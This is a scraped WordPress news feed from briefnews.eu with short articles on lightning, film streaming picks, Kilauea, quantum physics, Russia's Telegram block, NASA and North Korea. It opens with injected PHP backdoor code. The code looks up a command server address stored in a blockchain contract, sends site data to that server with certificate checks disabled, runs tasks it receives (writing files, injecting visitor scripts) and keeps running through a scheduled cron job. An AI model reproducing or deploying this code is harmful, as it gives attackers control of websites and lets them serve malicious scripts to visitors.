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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Cloud’s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 31 Dec 2018 06:28:24 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Cloud’s – Brief News https://briefnews.eu 32 32 Watch a Kuwaiti F/A-18 Hornet fighter jet get hit by lightning while flying through clouds https://briefnews.eu/watch-a-kuwaiti-f-a-18-hornet-fighter-jet-get-hit-by-lightning-while-flying-through-clouds/ https://briefnews.eu/watch-a-kuwaiti-f-a-18-hornet-fighter-jet-get-hit-by-lightning-while-flying-through-clouds/#respond Mon, 31 Dec 2018 06:28:24 +0000 http://briefnews.eu/watch-a-kuwaiti-f-a-18-hornet-fighter-jet-get-hit-by-lightning-while-flying-through-clouds/ Kuwait F/A-18 Hornet lightning strikeMbKS15/Twitter

The following video is pretty impressive. It shows an F/A-18C being hit by a lightning bolt.

Along with the flash of light, you can clearly hear a loud bang inside the cockpit, taking the pilot by surprise. Shock aside, the aircraft was probably not really damaged by the bolt.

See the rest of the story at Business Insider

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]]> https://briefnews.eu/watch-a-kuwaiti-f-a-18-hornet-fighter-jet-get-hit-by-lightning-while-flying-through-clouds/feed/ 0 Now Stream This: ‘The Endless’, ‘Maniac’, ‘Clouds of Sils Maria’, ‘Shutter Island’, and More https://briefnews.eu/now-stream-this-the-endless-maniac-clouds-of-sils-maria-shutter-island-and-more/ https://briefnews.eu/now-stream-this-the-endless-maniac-clouds-of-sils-maria-shutter-island-and-more/#respond Thu, 27 Sep 2018 17:06:03 +0000 http://briefnews.eu/now-stream-this-the-endless-maniac-clouds-of-sils-maria-shutter-island-and-more/ Best Movies Streaming Right Now September

(Welcome to Now Stream This, a column dedicated to the best movies streaming on Netflix, Amazon, Hulu, and every other streaming service out there.) 

These are the best movies streaming right now. Let’s get streaming.

The Best Movies Streaming Right Now

1. The Endless
Now Streaming on Netflix

Release Date: 2018

Genre: Weird metaphysical sci-fi horror

Director: Justin Benson, Aaron Moorhead

Cast: Justin Benson, Aaron Moorhead, Callie Hernandez, Tate Ellington, Lew Temple, James Jordan

Justin Benson and Aaron Moorhead are the minds behind indie horror curiosities The Reslotuon and Spring. If you’ve seen those films, you might know what you’re in for with The Endless, their latest oddity. This is their most polished film yet, full of special effects (that look incredible, even though they were rather cheaply created). But the classic Benson and Moorhead aesthetic shines through, as does their signature: an underbelly of genuine emotion beneath the horror. The Endless follows two brothers (played by Benson and Moorhead), who in their youth escaped a doomsday cult. Nothing has ever been right since, though, and Moorhead’s character longs to reconnect with the cult. When a mysterious video tape shows up at their apartment, Benson’s character relents and agrees to travel back to the cult’s grounds with Moorhead. Once they get there, they find the cultists friendly and cheerful, but dark things are lurking beneath the surface. A blend of Lovecraftian horror and indie film drama, The Endless is unique and unforgettable. Also: if you haven’t seen Resolution yet, I’d recommend watching that first. It’s streaming on Shudder.

For fans of: The Resolution, Spring, A Cure for Wellness, tug-of-war.

 

2. Shutter Island
Now Streaming on Hulu

Release Date: 2010

Genre: Mystery

Director: Martin Scorsese

Cast: Leonardo DiCaprio, Mark Ruffalo, Ben Kingsley, Michelle Williams, Emily Mortimer, Patricia Clarkson, Max von Sydow

Shutter Island often gets classified as “lesser Scorsese”, but I’m here to say that’s just not true. This is one of Martin Scorsese‘s best – a gorgeous, heartbreaking horror-noir about loss, regret and madness. Working with cinematographer Robert Richardson, Scorsese creates a visual palette loaded with lush greens, deep reds and icy blues. It’s an art deco nightmare; a journey into the past, as seen through the lens of a dream. Leonardo DiCaprio is a U.S. Marshall summoned to Ashecliffe, an insane asylum tucked away on a secluded island in Boston Harbor. A female patient has escaped under mysterious circumstances, and DiCaprio and his new partner, played by Mark Ruffalo, hope to track her down. But along the way, DiCaprio’s past traumas come back to haunt him – particularly the ghost of his dead wife (Michelle Williams), who keeps popping-up. Spooky, melodramatic and gothic, Shutter Island is a gem.

For fans of: The Ninth Configuration, Jacob’s Ladder, Cat People, Patricia Clarkson cameos.

 

3. Clouds of Sils Maria
Now Streaming on FilmStruck

Release Date: 2014

Genre: Drama

Director: Olivier Assayas

Cast: Juliette Binoche, Kristen Stewart, Chloë Grace Moretz

The film that solidified Kristen Stewart as more than “that girl from Twilight,” Clouds of Sils Maria is a luminous, often biting drama from Olivier Assayas about faded fame. Juliette Binoche is an well-regarded actress asked to join a new production of the play that made her famous. But now that she’s older, she’s being asked to play the role of an older character in the play, rather than the role that launched her to acclaim, while Chloë Grace Moretz plays the young star in the younger part. This leads to Binoche coming to terms with her own personal reality, and not liking what she sees. Stewart plays her frustrated assistant, almost constantly on a cell phone. The two main actresses work together phenomenally, making this primarily an actor’s showcase.

For fans of: Personal Shopper, The Bitter Tears of Petra von Kant, Irma Vep, trains.

 

4. Maniac
Now Streaming on Netflix

Release Date: 2018

Genre: Surreal sci-fi-comedy miniseries

Director: Cary Joji Fukunaga

Cast: Emma Stone, Jonah Hill, Justin Theroux, Sonoya Mizuno, Gabriel Byrne, and Sally Field

What a bizarre delight this series is. Maniac defies real classification, and plays out like the lovechild of Total Recall and Eternal Sunshine of the Spotless Mind. Emma Stone and Jonah Hill play two very different people who agree to partake in an experimental drug trial created by a tormented doctor (Justin Theroux). The trial involves the subjects having their minds hooked up into an elaborate computer system – a computer system that’s going through a bout of depression. What follows is a series of scenarios in which Stone and Hill keep playing different people in different worlds, always drawn together in some way. On the surface, Maniac is a comedy – and it’s frequently very funny. But there’s a distinct sadness running through this series, and grief and regret are two of the biggest themes. Stone does some career-best work here, playing her character as broken and stand-offish yet captivating. Sonoya Mizuno steals most of the show as well, playing a chain-smoking doctor. I know this sounds like hyperbole, but I promise you: you really haven’t seen anything else like Maniac.

For fans of: Eternal Sunshine of the Spotless Mind, Inception, Total Recall, Emma Stone wearing elf ears.

 

5. The Hudsucker Proxy
Now Streaming on FilmStruck

Release Date: 1994

Genre: Screwball Comedy

Director: Joel and Ethan Coen

Cast: Tim Robbins, Jennifer Jason Leigh, Paul Newman

After taking the indie film world by storm, Joel and Ethan Coen were courted by Hollywood and offered their biggest budget yet to make The Hudsucker Proxy. The result: it was a box office bomb. But who cares (besides investors)? Box office failure aside, Hudsucker is an underrated treat from the Coens – a screwball comedy full of inventive camera work and charming antics. Tim Robbins is a dim but lovable mail clerk at the all-powerful Hudsucker Industries. After the company president kills himself, the board of directors – lead by a cigar-chomping Paul Newman – cook up a scheme to buy a controlling interest in the company by crashing the stock. To do so, he recruits Robins to be the new president. In true The Producers fashion, though, this backfires when Robbins ends up inventing something huge: the hula-hoop. This all sounds more complicated than it really is, and the plot is really secondary to the strange world the Coens are creating. Jennifer Jason Leigh steals the whole film as a fast-talking reporter investigating Robbins. And Carter Burwell‘s score will make your heart swell.

For fans of: Barton Fink, Raising Arizona, O Brother, Where Art Thou?, divine intervention.

 

6. Capote
Now Streaming on Amazon Prime Video

Release Date: 2005

Genre: Biopic

Director: Bennett Miller

Cast: Philip Seymour Hoffman, Catherine Keener, Clifton Collins Jr., Bruce Greenwood, Mark Pellegrino, Amy Ryan, Chris Cooper

It’s a tragedy that we lost Philip Seymour Hoffman so young. One of the finest actors of his, or any, generation, Hoffman had a way to make any role his own. One of his best performances is in Capote, where he doesn’t just play author Truman Capote, he full-own possesses him. From the voice to the mannerisms, Hoffman is Capote, and it’s almost haunting to watch. This isn’t your traditional biopic. Instead, it focuses on Capote’s time spent writing In Cold Blood. Capote becomes obsessed not just with the case, but also with the killers, and forms an emotional attachment with one of them. But does Capote really care, or is he just creating great material for his book? This is a complex, troubling film, and I don’t know if it would work as well without Hoffman. Thankfully, it has Hoffman, and the actor conjures up magic.

For fans of: In Cold Blood, Murder by Death, Foxcatcher, unbeatable acting.

 

7. Gemini
Now Streaming on Hulu

Release Date: 2017

Genre: Post-Modern Noir

Director: Aaron Katz

Cast: Lola Kirke, Zoë Kravitz, Greta Lee, Michelle Forbes, Nelson Franklin, Reeve Carney, Jessica Parker Kennedy, James Ransone, Ricki Lake, and John Cho

This neon-noir takes its time, building in a sense of ease before succumbing to darkness. Lola Kirke plays an assistant to a movie star (Zoë Kravitz), and she spends most of her days putting out fires and not getting enough sleep. But when she becomes the prime suspect in a murder, Kirke attempts to solve the crime herself. Doing so won’t be easy, and it might dredge up a few things from her past as well. Gemini doesn’t seem like your standard mystery at first, but the more it unfolds, the more it embraces pulpy tropes, especially as Kirke starts sleuthing around trying to clear her name. Stylish and believable, Gemini is one of last year’s more underrated films.

For fans of: Only God Forgives, Body Double, Always Shine,

 

8. Channel Zero: No End House
Now Streaming on Shudder

Release Date: 2017

Genre: TV horror

Director: Steven Piet

Cast: Amy Forsyth, Aisha Dee, Jeff Ward, Seamus Patterson, Sebastian Pigott, Jess Salgueiro, John Caroll Lynch

The second season of Channel Zero hits Shudder this week, and you don’t want to miss. No End House offers up more creepypasta-inspired chills, and adds a surprisingly emotional subtext as well. Amy Forsyth plays a young woman still grieving the untimely death of her father (John Carroll Lynch). In the past few months, she’s grown distant from her best friend (Aisha Dee), but the two finally reconnect and head out to a bar with another friend. There they learn of the existence of the No End House, which sounds like your typical haunted attraction, but is so much more. Once the Forstyh and company enter the house, things will never be the same. Director Steven Piet brings a surrealist eye to the proceedings, keeping No End House constantly off-kilter, to the point where the characters (and the audience) can’t keep track of what’s real, and what’s some sort of nightmare. In the midst of all this horror is the story about Forsyth coming to terms with her grief, which works surprisingly well – maybe even more than the horror.

For fans of: Book of Shadows: Blair Witch 2, Raw, Carnival of Souls, late-night snacks.

 

9. Masked and Anonymous  
Now Streaming on Amazon Prime Video

Release Date: 2003

Genre: ¯\_(?)_/¯

Director: Larry Charles

Cast: Bob Dylan, John Goodman, Jeff Bridges, Penélope Cruz, Val Kilmer, Mickey Rourke, Jessica Lange, Luke Wilson, Angela Bassett, Bruce Dern, Cheech Marin, Ed Harris, Chris Penn, Steven Bauer, Giovanni Ribisi, Michael Paul Chan, Christian Slater and Fred Ward

A cavalcade of character actors came out of the woodwork to take strange, even brief, roles in Masked and Anonymous, and who can blame them? The film starred Bob Dylan, in his first real lead acting role in a long time Dylan plays Jack Fate, a legendary musician who gets bailed out of prison to play a big benefit concert being held in some sort of post-apocalyptic hellscape. Along the way he encounters all sorts of oddballs, and eventually plays some tunes. Dylan doesn’t so much act in the film as he does stand around with an enigmatic look on his face. The end result is a singularly strange film – a weirdo road show with nowhere to go. It shouldn’t work, and yet, there’s something so captivating about watching Dylan decked out in his cowboy gear, traveling from one well-known actor to the next. By the end of the film you might not know just what the hell you watched, but you won’t be sad you watched it.

For fans of: I’m Not There, Pat Garrett & Billy the Kid, The Big Lebowski, Bob Dylan wandering around.

 

10. Starry Eyes
Now Streaming on Shudder

Release Date: 2014

Genre: Horror

Director: Kevin Kölsch and Dennis Widmyer

Cast: Alexandra Essoe, Amanda Fuller, Noah Segan

What would you do to make your biggest dream come true? What price would you pay; what choice would you make? Alexandra Essoe turns in an attention-grabbing performance as a struggling actor desperate for fame and fortune. Her ticket to success comes in the form of an audition for a film called The Silver Scream, but landing the role is going to cost her – and then some. Asked to perform increasingly unpleasant tasks to land the role, Essoe relents and gives in, which only leads to strange behavior and deadly consequences. To say more would ruin the surprise, but just know that Starry Eyes is effective and disturbing, full of ominous dread perfectly created by filmmakers Kevin Kölsch and Dennis Widmyer (who will next helm the Pet Sematary remake).

For fans of: The Neon Demon, Hereditary, Mulholland Drive, body horror.

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]]> https://briefnews.eu/now-stream-this-the-endless-maniac-clouds-of-sils-maria-shutter-island-and-more/feed/ 0 Space Photos of the Week: Sweeping the Clouds Away on Titan https://briefnews.eu/space-photos-of-the-week-sweeping-the-clouds-away-on-titan/ https://briefnews.eu/space-photos-of-the-week-sweeping-the-clouds-away-on-titan/#respond Sat, 21 Jul 2018 21:18:51 +0000 http://briefnews.eu/space-photos-of-the-week-sweeping-the-clouds-away-on-titan/ With infrared eyes, astronomers are more than scratching the surface of Saturn’s hazy moon.


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]]> https://briefnews.eu/space-photos-of-the-week-sweeping-the-clouds-away-on-titan/feed/ 0 Giant acidic steam clouds rise from ocean after lava spill in Hawaii (VIDEO) https://briefnews.eu/giant-acidic-steam-clouds-rise-from-ocean-after-lava-spill-in-hawaii-video/ https://briefnews.eu/giant-acidic-steam-clouds-rise-from-ocean-after-lava-spill-in-hawaii-video/#respond Tue, 05 Jun 2018 19:00:02 +0000 http://briefnews.eu/giant-acidic-steam-clouds-rise-from-ocean-after-lava-spill-in-hawaii-video/

Incredible footage shows colossal steam clouds rising from the ocean in Hawaii after lava flows from the Kilauea volcano entered the sea at Kapoho Bay.

Lava inundated the bay near Hawaii Island’s eastern tip on Monday night, causing giant plumes of acidic fumes, known as ‘laze,’ to billow from the ocean. Mesmerizing video captured by a US Geological Survey helicopter shows the shallow bay rapidly filling in with cooling lava.

The Hawaii County Civil Defense Agency has issued an evacuation order for residents in the area, as the acidic fumes can prove fatal if inhaled.

Laze is formed when hot lava impacts with the ocean, which sends hydrochloric acid and steam with fine glass particles into the air. Any contact with laze plumes can cause serious irritation to the lungs, eyes and skin.

The Kilauea volcano erupted on May 3, and, as of yet, there is no indication as to when the explosive eruptions might end.

READ MORE: Hawaii ‘laze’ alert: Even lava cooling in the sea is horrendously dangerous (PHOTOS, VIDEO)

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]]> https://briefnews.eu/giant-acidic-steam-clouds-rise-from-ocean-after-lava-spill-in-hawaii-video/feed/ 0 Hawaii’s Kilauea volcano has exploded, sending ash clouds 30,000 feet into the sky — here are before-and-after photos of the destruction https://briefnews.eu/hawaiis-kilauea-volcano-has-exploded-sending-ash-clouds-30000-feet-into-the-sky-here-are-before-and-after-photos-of-the-destruction/ https://briefnews.eu/hawaiis-kilauea-volcano-has-exploded-sending-ash-clouds-30000-feet-into-the-sky-here-are-before-and-after-photos-of-the-destruction/#respond Thu, 17 May 2018 17:37:00 +0000 http://briefnews.eu/hawaiis-kilauea-volcano-has-exploded-sending-ash-clouds-30000-feet-into-the-sky-here-are-before-and-after-photos-of-the-destruction/ kilauea before and afterDigitalGlobe; Business Insider/Jeremy Berke

Hawaii’s Kilauea volcano exploded Thursday morning, sending an ash plume thousands of feet into the sky.

The eruption occurred shortly after 4 a.m. local time, Hawaii’s Civil Defense Agency said. The eruption shot ash more than 30,000 feet up. Authorities evacuated people from around Kilauea’s crater area and warned those in the vicinity of the volcano to take shelter.

Earlier this week, the United States Geological Survey (USGS) issued a rare “red alert” warning, which meant that a major eruption was imminent and that the ash clouds emitted from the volcano could affect air traffic. Those warnings have since come to fruition. 

The volcanic eruptions on Hawaii’s Big Island have been escalating for about two weeks, causing severe damage to residential neighborhoods surrounding the Kilauea volcano. Over 1,000 people have evacuated. 

The USGS warned on Twitter Thursday morning that “vog” — a form of air pollution caused by volcanic eruptions —will be severe following the explosion. The volcano is expected to continue belching noxious fumes like sulfur dioxide, which can make breathing difficult for children and the elderly. 

DigitalGlobe, a technology firm that operates a network of private satellites, provided Business Insider with a series of satellite images showing the damage from the eruptions. Below, photos of the affected neighborhoods from 2017 are juxtaposed with images of the same area taken earlier this week, before the most recent explosion (which means damage is likely even worse now). 

Here are the before-after-photos of the damage: 

The Leilani Estates neighborhood in Kilauea’s East Rift Zone has sustained the worst damage from the eruption. The area is pictured here on May 24 of last year.

Satellite image ©2018 DigitalGlobe, a Maxar company

In Leilani Estates and surrounding neighborhoods today, lava is spewing from at least 20 fissures, or cracks in the ground. It has burned houses, vehicles, and infrastructure.

Satellite image ©2018 DigitalGlobe, a Maxar company

Like much of Hawaii’s Big Island, the Leilani Estates neighborhood was formerly lush and verdant.

Satellite image ©2018 DigitalGlobe, a Maxar company


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Enlarge / A Bose-Einstein condensate of rubidium atoms forms. Similar clouds of atoms were used to study entanglement. (credit: NIST/JILA/CU-Boulder)

To say the quantum world is unintuitive is a staggering understatement. Particles end up in more than one place at a time, and the instances interact with each other. Decisions made after a photon has traversed an obstacle course determine the path it took through it. Entangled quantum objects can be in separate galaxies, yet measuring one will instantly set the fate of the second. Obviously, things like this don’t take place in the world of our common experience.

So where’s the boundary that separates the quantum world from ours? While the experiments above were first demonstrated with individual particles, researchers have revisited some of them with ever-larger objects, showing that entire molecules will act just like an electron does. Now, the limit’s been pushed back even further, as a collection of papers describes the entanglement of objects that consist of thousands of atoms.

A quantum cloud

Three of the papers grace the pages of Science, and all rely on a similar material: clouds of ultra-cold atoms, up to 20,000 of them. These rely on yet another quantum quirk: if two particles become physically indistinguishable, they start to behave like a single system of entangled particles. (As one of the more lucid teams of researchers write, “The entanglement generation relies on the fundamental particle-exchange symmetry in ensembles of identical particles.”) Conveniently, if you pick the right atoms to make a cloud, they’ll naturally form a Bose-Einstein condensate, in which all of them adopt the same state.

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]]> https://briefnews.eu/clouds-of-atoms-vibrating-mirrors-show-their-quantum-side/feed/ 0 Russia wants Telegram gone so badly, it blocked Google’s and Amazon’s clouds for the whole country just to keep it away from people https://briefnews.eu/russia-wants-telegram-gone-so-badly-it-blocked-googles-and-amazons-clouds-for-the-whole-country-just-to-keep-it-away-from-people/ https://briefnews.eu/russia-wants-telegram-gone-so-badly-it-blocked-googles-and-amazons-clouds-for-the-whole-country-just-to-keep-it-away-from-people/#respond Wed, 18 Apr 2018 00:03:54 +0000 http://briefnews.eu/russia-wants-telegram-gone-so-badly-it-blocked-googles-and-amazons-clouds-for-the-whole-country-just-to-keep-it-away-from-people/ pavel durov

  • On Tuesday, Russia’s state communications regulator said it blocked IP addresses owned by Google and Amazon after it was discovered that messaging service Telegram had been using their cloud services to reach users.
  • The blocking of these IP addresses has prevented internet users in Russia from accessing Telegram, as well as any other service that is provided through Google and Amazon servers.
  • Some internet users have skirted the block by using virtual private networks (VPNs.)

Russia’s state communications regulator on Tuesday said it had blocked IP addresses owned by Google and Amazon, saying they were being used by the Telegram messaging service which Moscow moved to ban this week.

Russia’s Roskomnadzor watchdog began blocking Telegram, a messaging service popular in Russia, on Monday after it refused to comply with a court order to grant state security services access to its users’ encrypted messages.

Roskomnadzor’s head Alexander Zharov said it had blocked 18 sub-networks and a significant number of IP-addresses belonging to Google and Amazon, the Interfax news agency reported.

“We have currently informed both companies that a significant number of IP addresses located in the clouds of these two services have fallen under the block on the basis of the court ruling (to block Telegram),” Zharov was quoted as saying.

Blocking the IP addresses has prevented Russian internet users from accessing Telegram and other services that route content through Google and Amazon servers.

Some users have circumvented the block by using virtual private networks, which make it seem as though they were accessing the internet from another country.

Zharov told Interfax that Roskomnadzor hoped it would receive “legally meaningful” responses from Amazon and Google by Wednesday.

The U.S. companies did not immediately respond on Tuesday to a request from Reuters for comment on the Russian move.

“Digital resistance”

Telegram CEO Pavel Durov called on Tuesday for “digital resistance”, saying he was prepared to give out millions of dollars worth of grants in bitcoin digital currency to individuals and companies that run proxies and VPNs to support internet freedom.

Writing on his Telegram channel, Durov said there had not been a significant drop in users of the service in Russia since the ban took effect because users were using VPNs and proxies to access the messenger. He also thanked Apple, Google, Amazon and Microsoft “for not taking part in political censorship”.

Durov, a pioneer of social media in Russia, left the country in 2014 and has become a vocal critic of the Kremlin’s policies on internet freedom.

Telegram is widely used in countries across the former Soviet Union and Middle East. Durov said on Tuesday that Russians account for about 7 percent of its users.

As well as being popular with journalists and members of Russia’s political opposition, Telegram has also been used by the Kremlin to communicate with reporters and arrange regular conference calls with President Vladimir Putin’s spokesman.

On Monday the spokesman’s office asked journalists who were previously subscribed to a chat in Telegram to switch to a chat that had been set up in a different messaging service, ICQ, which is part of the Russian Mail.ru technology group (MAILRq.L).

]]> https://briefnews.eu/russia-wants-telegram-gone-so-badly-it-blocked-googles-and-amazons-clouds-for-the-whole-country-just-to-keep-it-away-from-people/feed/ 0 NASA wants your pictures of clouds to verify its satellites’ data https://briefnews.eu/nasa-wants-your-pictures-of-clouds-to-verify-its-satellites-data/ https://briefnews.eu/nasa-wants-your-pictures-of-clouds-to-verify-its-satellites-data/#respond Sat, 17 Mar 2018 07:26:15 +0000 http://briefnews.eu/nasa-wants-your-pictures-of-clouds-to-verify-its-satellites-data/

NASA announced this week that it’s looking for some citizen scientists to help out with a project. Six orbiting instruments make up NASA’s Clouds and the Earth’s Radiant Energy System (CERES) project and they are used to study Earth’s climate and the role clouds play in climate change. But sometimes it’s hard for these instruments to differentiate clouds from other Earthly things. For example, NASA says that thin, wispy cirrus clouds and snow can easily be confused because they’re both cold and bright. Differentiation gets even more difficult when these clouds hang out above patches of snow. And that’s where citizen scientists come in.

NASA’s looking for people to take pictures of clouds in the sky and share them through an app. If you time your photos to coincide with CERES satellites passing overhead, NASA can then compare the images taken from the instruments with the images taken from individuals down below and make sure what’s being noted by its satellites as a cloud really is a cloud. “Looking at what an observer recorded as clouds and looking at their surface observations really helps us better understand the images that were matched from the satellite,” Marilé Colón Robles, who heads NASA’s GLOBE clouds team, said in a statement.

You can submit up to 10 photos per day between now and April 15th through the GLOBE Observer app. This is a particularly important time for the project because the seasons are changing, meaning the clouds are too. And the most recent addition to the CERES team is a satellite that was launched in November and began taking measurements in January. So NASA needs help verifying its data in particular.

You can find out more about how to take part and how to time your photos with passing satellites here. If you do manage to snap a pic within the same timeframe as an overhead satellite, NASA will send you an email within one week of your submission that shows you your image as well as the satellite’s. You can check out some tips on how to observe clouds here.

Via: The Verge

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]]> https://briefnews.eu/nasa-wants-your-pictures-of-clouds-to-verify-its-satellites-data/feed/ 0 North Korea slams US for sanctions & ‘clouds of war’ but says it is open for talks https://briefnews.eu/north-korea-slams-us-for-sanctions-clouds-of-war-but-says-it-is-open-for-talks/ https://briefnews.eu/north-korea-slams-us-for-sanctions-clouds-of-war-but-says-it-is-open-for-talks/#respond Sun, 25 Feb 2018 15:06:44 +0000 http://briefnews.eu/north-korea-slams-us-for-sanctions-clouds-of-war-but-says-it-is-open-for-talks/ Pyongyang has accused Washington of bringing “clouds of war” to the region by imposing “the largest-ever” sanctions during the Olympic Games, but says it is still open to direct talks with the US.

A statement published by state news agency KCNA hailed North Korea’s leadership for their “strong determination for peace, long-awaited inter-Korean dialogue and cooperation,” which began to surface during the 2018 Pyeongchang Winter Olympics. The statement went on to say that Washington is violating the Korean Olympics truce and “is running amok to bring another dark cloud of confrontation and war over the Korean peninsula” by announcing new wave of sanctions against the North.

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Parade in Pyongyang, North Korea, on February 9, 2018. © KCNA / Reuters

“We came to possess nuclear weapons, the treasured sword of justice, in order to defend ourselves from such threats from the United States,” the statement read, adding that “we will consider any type of blockade an act of war against us.”

On Friday, Washington announced“the largest-ever set of new sanctions on the North Korean regime,” targeting the country’s industries and exports.

Twenty-seven foreign companies, 28 ships, and one person – mainly based in China, Hong Kong, Taiwan, and Singapore – were sanctioned, according to the US Treasury. US President Donald Trump has said that “if the sanctions don’t work, we will have to go to phase two, and phase two may be a very rough thing, may be very, very unfortunate for the world.”

The president did not specify what exactly he meant by “phase two,” but qualified the statement by saying he did not think he was “going to exactly play that card.”

Still, Pyongyang says it is open for direct talks with Washington and continues negotiations with Seoul. On Sunday, South Korean President Moon Jae-in hosted Kim Yong-chol, vice chairman of the Central Committee of North Korea’s ruling Workers’ Party, in Pyeongchang, Yonhap reports. This was President Moon’s second meeting with top-tier North Korean officials in just two weeks.

Previously, he held talks with a delegation which included Kim Jong-un’s sister, Kim Yo-jong, who delivered a special message from her brother, inviting Moon to Pyongyang in future. Moon is yet to accept the invitation, and if he does, it would be the first visit by a South Korean head of state since 2007, when then-President Roh Moo-hyun met with Kim Jong-il in Pyongyang.

READ MORE: If sanctions on North Korea won’t work, we’ll go to ‘Phase Two’ – Trump

The Trump administration seems to be wary of the ongoing inter-Korean détente which started earlier this year with high-level contacts between the two countries’ officials. Notwithstanding some promising statements by US Vice President Mike Pence, Washington is continuing its policy of sanctions and military pressure.

This spring, the US and South Korea will resume massive military drills – Foal Eagle and Key Resolve. Though Washington and Seoul maintain that the exercises are critical to prepare for a North Korean attack, Pyongyang views the wargames as a rehearsal for invasion, and has threatened retaliatory strikes.

Russia and China have consistently urged caution in the matter. In January, the two countries put forward a ‘double freeze’ initiative that envisaged the US and its allies ceasing all major military exercises in the region in exchange for North Korea suspending its nuclear and ballistic missile program. The initiative was rejected by Washington.

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EXCLUSIVE:

